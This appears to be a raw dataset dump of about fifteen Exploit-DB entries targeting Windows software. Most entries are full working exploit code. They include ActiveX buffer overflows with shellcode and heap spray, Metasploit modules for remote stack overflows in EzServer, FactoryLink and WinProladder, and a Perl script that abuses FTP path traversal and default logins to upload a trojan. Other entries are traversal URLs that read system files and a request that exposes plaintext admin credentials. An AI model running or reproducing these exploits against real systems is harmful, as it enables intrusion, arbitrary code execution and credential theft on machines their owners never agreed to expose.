deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32124
Description: Eyeball MessengerSDK 'CoVideoWindow.ocx' 5.0.907 - ActiveX Control Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-07-29
Author: Edi Strosar

Exploit:
source: https://www.securityfocus.com/bid/30424/info

The 'CoVideoWindow.ocx' ActiveX control of Eyeball MessengerSDK is prone to a stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

An attacker can exploit this issue to execute arbitrary code in the context of an application using the affected ActiveX control (typically Internet Explorer). Failed attacks will likely cause denial-of-service conditions.

This issue affects 'CoVideoWindow.ocx' 5.0.907.1; other versions may also be affected.

<html> <object classid='clsid:CA06EE71-7348-44c4-9540-AAF0E6BD1515' id='test'></object> <input language=VBScript onclick=buffero() type=button value="Crash"> <script language = 'vbscript'> Sub buffero() crash = String(515000, unescape("%41")) test.BgColor = crash End Sub </script> </html>
Exploit-DB #22488
Description: EZ Publish 2.2.7/3.0 - site.ini Information Disclosure
Type: remote
Platform: windows
Date: 2003-04-15
Author: gregory Le Bras

Exploit:
source: https://www.securityfocus.com/bid/7347/info

eZ Publish has been reported prone to sensitive information disclosure vulnerability.

An attacker may make a request for and download the underlying site.ini configuration file. The file contains eZ Publish administration credentials stored in plaintext format. Any HTTP requests for this file will reveal the contents of this file to remote attackers. 

http://[target]/settings/site.ini
Exploit-DB #22506
Description: EZ Server 1.0 - File Disclosure
Type: remote
Platform: windows
Date: 2003-04-17
Author: gregory Le Bras

Exploit:
source: https://www.securityfocus.com/bid/7378/info

It has been announced that EZ Server is vulnerable to a condition that may result in the disclosure of potentially sensitive information through requests that have directory traversal sequences. 

http://[target]/../../winnt/win.ini
Exploit-DB #27758
Description: ezb systems ultraiso 8.0.1392 - Directory Traversal
Type: remote
Platform: windows
Date: 2006-04-28
Author: Sowhat

Exploit:
source: https://www.securityfocus.com/bid/17724/info

Reportedly, an attacker can carry out attacks using directory-traversal strings. These issues occur when the application processes malicious archives. 

A successful attack can allow the attacker to place potentially malicious files and to overwrite files on a computer in the context of the user running the affected application. A successful exploit may aid in further attacks.

This issue affects UltraISO version 8.0.0. 1392; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27746.iso.bin
Exploit-DB #19291
Description: EZHomeTech EzServer 6.4.017 - Remote Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2012-06-19
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Egghunter
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability',
			'Description'    => %q{
				This module exploits a stack buffer overflow in the EZHomeTech EZServer. If a malicious
				user sends packets containing an overly long string, it may be possible to execute a
				payload remotely. Due to size constraints, this module uses the Egghunter technique.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'modpr0be<modpr0be[at]spentera.com>' # Original discovery and Metasploit module
				],
			'References'     =>
				[
					[ 'EDB', '19266' ],
					[ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ]
				],
			'DefaultOptions' =>
				{
					'ExitFunction' => 'seh'
				},
			'Platform'       => 'win',
			'Payload'        =>
				{
					'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",
					'DisableNops' => true
				},
			'Targets'        =>
				[
					[ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',
						{
							'Ret' => 0x10212779, # pop ecx # pop ebx # ret 4 - msvcrtd.dll
							'Offset' =>	5852
						}
					],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jun 18 2012',
			'DefaultTarget'  => 0))

		register_options([Opt::RPORT(8000)], self.class)

	end

	def exploit
		connect
		eggoptions =
		{
			:checksum => true,
			:eggtag => "w00t"
		}

		hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
		egg = hunter[1]
		buff = rand_text(target['Offset'] - egg.length) #junk
		buff << egg
		buff << make_nops(32)
		buff << generate_seh_record(target.ret)
		buff << make_nops(16)
		buff << hunter[0]
		buff << rand_text_alpha_upper(500)

		print_status("Triggering shellcode now...")
		print_status("Please be patient, the egghunter may take a while..")

		sock.put(buff)

		handler
		disconnect

	end
end
Exploit-DB #24811
Description: F-Secure Policy Manager 5.11 - 'FSMSH.dll' CGI Application Installation Full Path Disclosure
Type: remote
Platform: windows
Date: 2004-12-09
Author: oliver@greyhat.de

Exploit:
source: https://www.securityfocus.com/bid/11869/info

F-Secure Policy Manager includes a CGI application named 'fsmsh.dll'. By supplying unexpected input as an argument to the 'fsmsh.dll' application the vulnerable software will return an error message that includes the installation path of the software.

/fsms/fsmsh.dll?
Exploit-DB #5102
Description: FaceBook PhotoUploader 5.0.14.0 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-02-12
Author: MC Group Ltd.

Exploit:
<html>
	<head>
		<object id="target" classid="clsid:5C6698D9-7BE4-4122-8EC5-291D84DBD4A0"></object>
	</head>
<body>
<script>

var shellcode = unescape("%u0D0D%u0D0D%u9090%u9090"+ //Windows Execute Command (calc)
"%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b"+
"%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca"+
"%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b"+
"%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%uc031%u8b64%u3040"+
"%uc085%u0c78%u408b%u8b0c%u1c70%u8bad%u0868%u09eb%u808b%u00b0"+
"%u0000%u688b%u5f3c%uf631%u5660%uf889%uc083%u507b%uf068%u048a"+
"%u685f%ufe98%u0e8a%uff57%u63e7%u6c61%u0063");

var address = 0x0d0d0d0d;
var block_size = 0x400000;
var blocks = (address - block_size) / block_size;
var spray = unescape("%u0D0D%u0D0D");
var tmp = unescape("%u0D0D%u0D0D");
var tmp_size = 1044;

while((spray.length * 2) < block_size) spray += spray;
spray = spray.substring(0, block_size - shellcode.length);
memory = new Array();
for(i = 0; i < blocks; i++) memory[i] = spray + shellcode;
while(tmp.length < (tmp_size * 2)) tmp += tmp;
tmp = tmp.substring(0, tmp_size);

	var size = 131;
	var z = Array(size);
		for (i=0; i<size; i++) {
			z[i] = unescape("%u0d0d%u0d0d");
		}

	var size = 131;
	var z2 = Array(size);
		for (i=0; i<size; i++) {
			z2[i] = unescape("%u0d0d%u0d0d");
		}
//' 0x629c1795	 pop esi, pop ebp, retn 14   lpk.dll NO SAFE SEH
target.FileMask=z.join('') + unescape("%uebFF%uebFF") + unescape("%u1795%u629c") + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + z2.join('') + tmp.substr(0,1)  // + String(2000, unescape("%uffff"))
</script>
</HTML>

# milw0rm.com [2008-02-12]
Exploit-DB #17429
Description: FactoryLink - 'vrn.exe' Opcode 9 Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2011-06-21
Author: Metasploit

Exploit:
##
# $Id: factorylink_vrn_09.rb 12998 2011-06-21 21:08:57Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'FactoryLink vrn.exe Opcode 9 Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2,
				and 8.0.1.703.  By sending a specially crafted packet, an attacker may be able to
				execute arbitrary code due to the improper use of a vsprintf() function while
				processing the user-supplied text field.  Originally found and posted by
				Luigi Auriemma.
			},
			'Author'         =>
				[ 
					'Luigi Auriemma', # Public exploit
					'hal'             # Metasploit module
				],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 12998 $',
			'References'     =>
				[
					['OSVDB', '72815'],
					['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt']
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 885,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'FactoryLink 7.5',        { 'Ret' => 0x1c0106ac, 'padding' => 0 } ],
					[ 'FactoryLink 7.5 SP2',    { 'Ret' => 0x1c01069c, 'padding' => 0 } ],
					[ 'FactoryLink 8.0.1.703',  { 'Ret' => 0x1c01087c, 'padding' => 4 } ],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Mar 21 2011'))

		register_options([Opt::RPORT(7579)], self.class)
	end

	def exploit
		connect

		#The use of egghunter seems appropriate due to the small buffer in [ESP+8]
		hunter = generate_egghunter(payload.encoded, payload_badchars,
			{ :checksum => true, :startreg => 'ebp'})

		egg = hunter[1]

		header =   "\x3f\x3f\x3f\x3f"
		header <<  "\xff\x55"
		header <<  "\x09\x00"
		header <<  "\x3f\x3f\xff\xff\x00\x00\x3f\x3f"
		header <<  "\x01\x00\x3f\x3f\x3f\x3f\x3f\x3f"
		header <<  "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
		header <<  "\x3f\x3f"
		header <<  "\xff\xff\xff\xff"
		header <<  "\x3f\x3f"

		request =  header
		request << rand_text_alpha_upper(100)
		request << egg
		request << rand_text_alpha(target['padding'])
		request << "\xeb\x06\x90\x90"
		request << [target.ret].pack('V')
		request << make_nops(24)
		request << hunter[0]
		request << rand_text_alpha_upper(100000)

		print_status("Trying target #{target.name} with #{request.size} bytes")
		sock.put(request)

		handler
		disconnect
	end
end
Exploit-DB #1417
Description: Farmers WIFE 4.4 sp1 - 'FTP' Remote System Access
Type: remote
Platform: windows
Date: 2006-01-14
Author: kokanin

Exploit:
#!/usr/bin/perl
# kokanin 20060106 // farmers wife server 4.4 sp1 allows us to 
# use ../../../ patterns as long as we stand in a folder where we have write access.
# haha, that's what you get for implementing your own access control instead of relying on the underlying OS.
# default port is 22003, default writable path is /guests.

# 0day 0day, private, distribute and die bla bla bla
# leet (translated) note from <anonymized>: you can log in as IEUser/mail@mail.com or anonymous/mail@mail.com
# on _all_ farmers wife servers. This can't be disabled unless you turn off FTP access. The anonymous
# login gives you guest access, which means write access to /guests, which means default remote 'root'
# aka SYSTEM access. Ha ha ha, thanks anonymized, I missed that bit.


if(!$ARGV[0]){ die "Usage: ./thisscript.pl <ip> [user] [pass] [port] [path] [trojan.exe] [/path/to/target.exe] \n";}
# as in: ./thisscript.pl 123.45.67.89 demo demo 22003 /writablepath /etc/hosts /owned.txt
# by default we just put /etc/hosts in a file called owned.txt in the root of the drive - 
# nuke %SYSTEMROOT%\system32\at.exe and wait for windows to run it.

# We can check for the %SYSTEMROOT% with the SIZE command to determine the proper
# location for our trojan.

use Net::FTP;
my $target = $ARGV[0];
my $dotdot = "../../../../../../../../../../../../../../";
# Here we set defaults (It's ugly, I know) that gives REMOTE REWT OMGOMG I MEAN SYSTEM
if($ARGV[1]){ $user = $ARGV[1] } else { $user = "IEUser";}
if($ARGV[2]){ $pass = $ARGV[2] } else { $pass = "mail\@mail.com";}
if($ARGV[3]){ $port = $ARGV[3] } else { $port = "22003";}
if($ARGV[4]){ $writablepath = $ARGV[4] } else { $writablepath = "/guests";}
if($ARGV[5]){ $trojan = $ARGV[5] } else { $trojan = "/etc/hosts";}
if($ARGV[6]){ $destination = $ARGV[6] } else { $destination = "owned.txt";}
print " target: $target \n user: $user \n pass: $pass \n port: $port \n writable path: $writablepath \n trojan: $trojan \n targetfile: $destination \n";

# Open the command socket
use Net::FTP;
$ftp = Net::FTP->new("$target",
                      Debug => 0,
                      Port => "$port")
	or die "Cannot connect: $@";
	$ftp->login("$user","$pass")
	or die "Cannot login ", $ftp->message;
	$ftp->cwd("$writablepath")
	# this software is so shitty, it allows us to CWD to any folder and just pukes later if it's not there.
	or die "Cannot go to writable dir ", $ftp->message;
	# leet %SYSTEMROOT% scan by determining where at.exe is using SIZE
	my @systemroots = ("PUNIX","WINXP","WINNT","WIN2000","WIN2K","WINDOWS","WINDOZE");
	for(@systemroots){
		$reply = $ftp->quot("SIZE " . $dotdot . $_ . "/system32/at.exe");
		if($reply == 2) { print " %SYSTEMROOT% is /$_\n";my $systemroot=$_; }
		}
	$ftp->binary;
	$ftp->put("$trojan","$dotdot"."$destination")
	and print "file successfully uploaded, donate money to kokanin\@gmail.com\n" or die "Something messed up, file upload failed ", $ftp->message;
$ftp->quit;

# milw0rm.com [2006-01-14]
Exploit-DB #19973
Description: Fastraq Mailtraq 1.1.4 - Multiple Path Vulnerabilities
Type: remote
Platform: windows
Date: 2000-03-22
Author: Slash

Exploit:
source: https://www.securityfocus.com/bid/1278/info

A remote user may browse any known directory on a host running Fastraq Mailtraq 1.1.4 by making a URL request that includes the '../' string.

In addition, requesting a URL appended with "../" and an unusually long character string will return an error message disclosing the full path of the Mailtraq installation directory. 

Directory traversal vulnerability:
http:&nbsp;//target/../../knowndirectory/

Path disclosure vulnerability:
http:&nbsp;//target/../<very long character string>
Exploit-DB #20584
Description: fastream ftp++ 2.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2001-01-22
Author: SNS Research

Exploit:
source: https://www.securityfocus.com/bid/2267/info

It is possible for a remote uesr to gain read permissions outside of the Faststream FTP++ Server directory. By requesting an 'ls' command along with the drive name, Fastream FTP++ will disclose the contents of the requested drive. 

ftp> pwd
257 "/C:/FTPROOT/" is current directory.
ftp> ls c:/
200 Port command successful.
150 Opening data connection for directory list.

(listing of c:\)
Exploit-DB #25319
Description: FastStone 4in1 Browser 1.2 - Web Server Directory Traversal
Type: remote
Platform: windows
Date: 2005-03-29
Author: Donato Ferrante

Exploit:
source: https://www.securityfocus.com/bid/12937/info

A vulnerability has been identified in the handling of certain types of requests by the 4in1 Browser Web server. Because of this, it is possible for an attacker to gain access to potentially sensitive system files.

This issue could be exploited to gain read access to files on a host using the vulnerable software. Read privileges granted to these files would be restricted by the permissions of the web server process.

This vulnerability is reported to affect FastStone 4in1 Browser version 1.2, previous versions might also be affected. 

http://www.example.com/.../.../.../.../.../.../windows/system.ini
http://www.example.com/..\..\..\..\..\..\..\..\windows/system.ini
Exploit-DB #42700
Description: Fatek Automation PLC WinProladder 3.11 Build 14701 - Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2017-09-13
Author: James Fitts

Exploit:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::TcpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Fatek Automation PLC WinProladder Stack-based Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack based buffer overflow found in Fatek Automation
				PLC WinProladder v3.11 Build 14701. The vulnerability is triggered when a client
				connects to a listening server. The client does not properly sanitize the length
				of the received input prior to placing it on the stack.
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'ZDI', '16-672' ],
					[ 'CVE', '2016-8377' ],
					[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-350-01' ]
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows 7 EN', 
							{
								# CC3250MT.dll
								# pop ecx/ pop ebp/ retn
								'Ret' => 0x32514d79
							} 
					],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Dec 15 2016'))

		register_options(
			[
				OptPort.new('SRVPORT', [ true, "The port to listen on", 500])
			], self.class)
	end

	def on_client_data(client)
		p = payload.encoded

		pkt = "A" * 10000
		pkt[1092, 4] = [0x04eb9090].pack('V')	# jmp $+6
		pkt[1096, 4] = [target.ret].pack('V')
		pkt[1100, 50] = "\x90" * 50
		pkt[1150, p.length] = p

		client.put(pkt)
		handler
		service.close_client(client)
	end

end
Exploit-DB #14269
Description: FathFTP 1.7 - ActiveX Buffer Overflow
Type: remote
Platform: windows
Date: 2010-07-08
Author: blake

Exploit:
<html>
<object classid='clsid:62A989CE-D39A-11D5-86F0-B9C370762176'
id='target'></object>
<script language='vbscript'>
' Exploit Title: FathFTP 1.7 ActiveX Buffer Overflow
' Date: July 7, 2010
' Author: Blake
' Software Link: http://www.softpedia.com/get/Programming/Components-Libraries/FathFTP.shtml
' Version: 1.7
' Tested on: Windows XP SP3 / IE6
' Note: The GetFromURL member is also vulnerable to a stack overflow (EIP overwrite).

' 6784 bytes of shellcode space
' EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49") & _
unescape("%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68") & _
unescape("%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42") & _
unescape("%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a") & _
unescape("%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c") & _
unescape("%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45") & _
unescape("%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70") & _
unescape("%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c") & _
unescape("%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f") & _
unescape("%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d") & _
unescape("%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46") & _
unescape("%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77") & _
unescape("%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a") & _
unescape("%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f") & _
unescape("%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35") & _
unescape("%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d") & _
unescape("%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71") & _
unescape("%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f") & _
unescape("%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52") & _
unescape("%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61") & _
unescape("%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35") & _
unescape("%50%68")


buffer = string(1188, "A")
next_seh = unescape("%eb%06%90%90")              ' short jump
seh = unescape("%56%29%d1%72")                      ' 0x72D12956 [msacm32.drv]
nops = string(10, unescape("%90"))                        ' nop sled
junk = string(12820, "B")

exploit = buffer + next_seh + seh + nops + shellcode + junk
target.RasIsConnected exploit

</script>
Exploit-DB #14551
Description: FathFTP 1.8 - 'DeleteFile Method' ActiveX Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2010-08-04
Author: Madjix

Exploit:
<html>
<object classid='clsid:62A989CE-D39A-11D5-86F0-B9C370762176' id='target'></object>
<script language='vbscript'>
' Exploit Title: FathFTP 1.8 (SEH) DeleteFile ActiveX Buffer Overflow
' Author: MadjiX
' Software Link: http://www.fathsoft.com/fathftp.html
' Version 1.7 : http://www.exploit-db.com/exploits/14269/ (Thanks Blake)
' RasIsConnected 1.8 : http://www.exploit-db.com/exploits/14539/
' Tested on: Windows XP SP3 FR / IE6
' Visit : www.sec4ever.com
'---------------------------------------------------'
'                  _____ __                         '
'____________________  // /_______   ______________ '
'__  ___/  _ \  ___/  // /_  _ \_ | / /  _ \/  ___/ '
'_(__  )/  __/ /__ /__  __/  __/_ |/ //  __/  /     '
'/____/ \___/\___/   /_/  \___/_____/ \___//_/      '
'                                                   '
'                   Security Team Members           '
'---------------------------------------------------'

' EXITFUNC=seh CMD=calc.exe Size=338 Encoder=Alpha2
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%48%49") & _
unescape("%49%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%68") & _
unescape("%58%50%30%42%31%42%41%6b%41%41%78%32%41%42%32%42") & _
unescape("%41%30%42%41%41%58%38%41%42%50%75%59%79%39%6c%4a") & _
unescape("%48%50%44%63%30%35%50%43%30%4c%4b%57%35%77%4c%4c") & _
unescape("%4b%51%6c%35%55%64%38%77%71%6a%4f%4c%4b%62%6f%45") & _
unescape("%48%4e%6b%31%4f%45%70%55%51%6a%4b%73%79%6e%6b%70") & _
unescape("%34%6c%4b%46%61%7a%4e%70%31%4b%70%4e%79%6e%4c%6c") & _
unescape("%44%49%50%52%54%67%77%5a%61%59%5a%34%4d%55%51%6f") & _
unescape("%32%4a%4b%79%64%37%4b%51%44%41%34%35%54%71%65%6d") & _
unescape("%35%4e%6b%53%6f%47%54%65%51%4a%4b%31%76%4e%6b%46") & _
unescape("%6c%30%4b%6e%6b%51%4f%75%4c%54%41%58%6b%4c%4b%77") & _
unescape("%6c%6e%6b%66%61%58%6b%6d%59%33%6c%46%44%46%64%6a") & _
unescape("%63%35%61%6b%70%71%74%6e%6b%63%70%54%70%6f%75%6f") & _
unescape("%30%54%38%56%6c%4c%4b%61%50%36%6c%4e%6b%34%30%35") & _
unescape("%4c%4c%6d%6e%6b%43%58%75%58%58%6b%54%49%4c%4b%4d") & _
unescape("%50%6c%70%43%30%57%70%55%50%6e%6b%32%48%35%6c%71") & _
unescape("%4f%67%41%6b%46%53%50%56%36%6b%39%48%78%4d%53%4f") & _
unescape("%30%71%6b%32%70%33%58%4c%30%4d%5a%56%64%43%6f%52") & _
unescape("%48%6a%38%4b%4e%4c%4a%66%6e%31%47%4b%4f%6b%57%61") & _
unescape("%73%70%61%30%6c%71%73%64%6e%70%65%73%48%72%45%35") & _
unescape("%50%68")

nops = string(12, unescape("%90"))
buff=String(1439, "A")
nseh=unescape("%eb%06%90%90") 'tangiza 5fifa :D
seh=unescape("%54%7A%01%10") 'universal
buff2=String(8888, "C")

exploit = buff + nseh + seh + nops + shellcode + buff2
target.DeleteFile exploit

</script>
</html>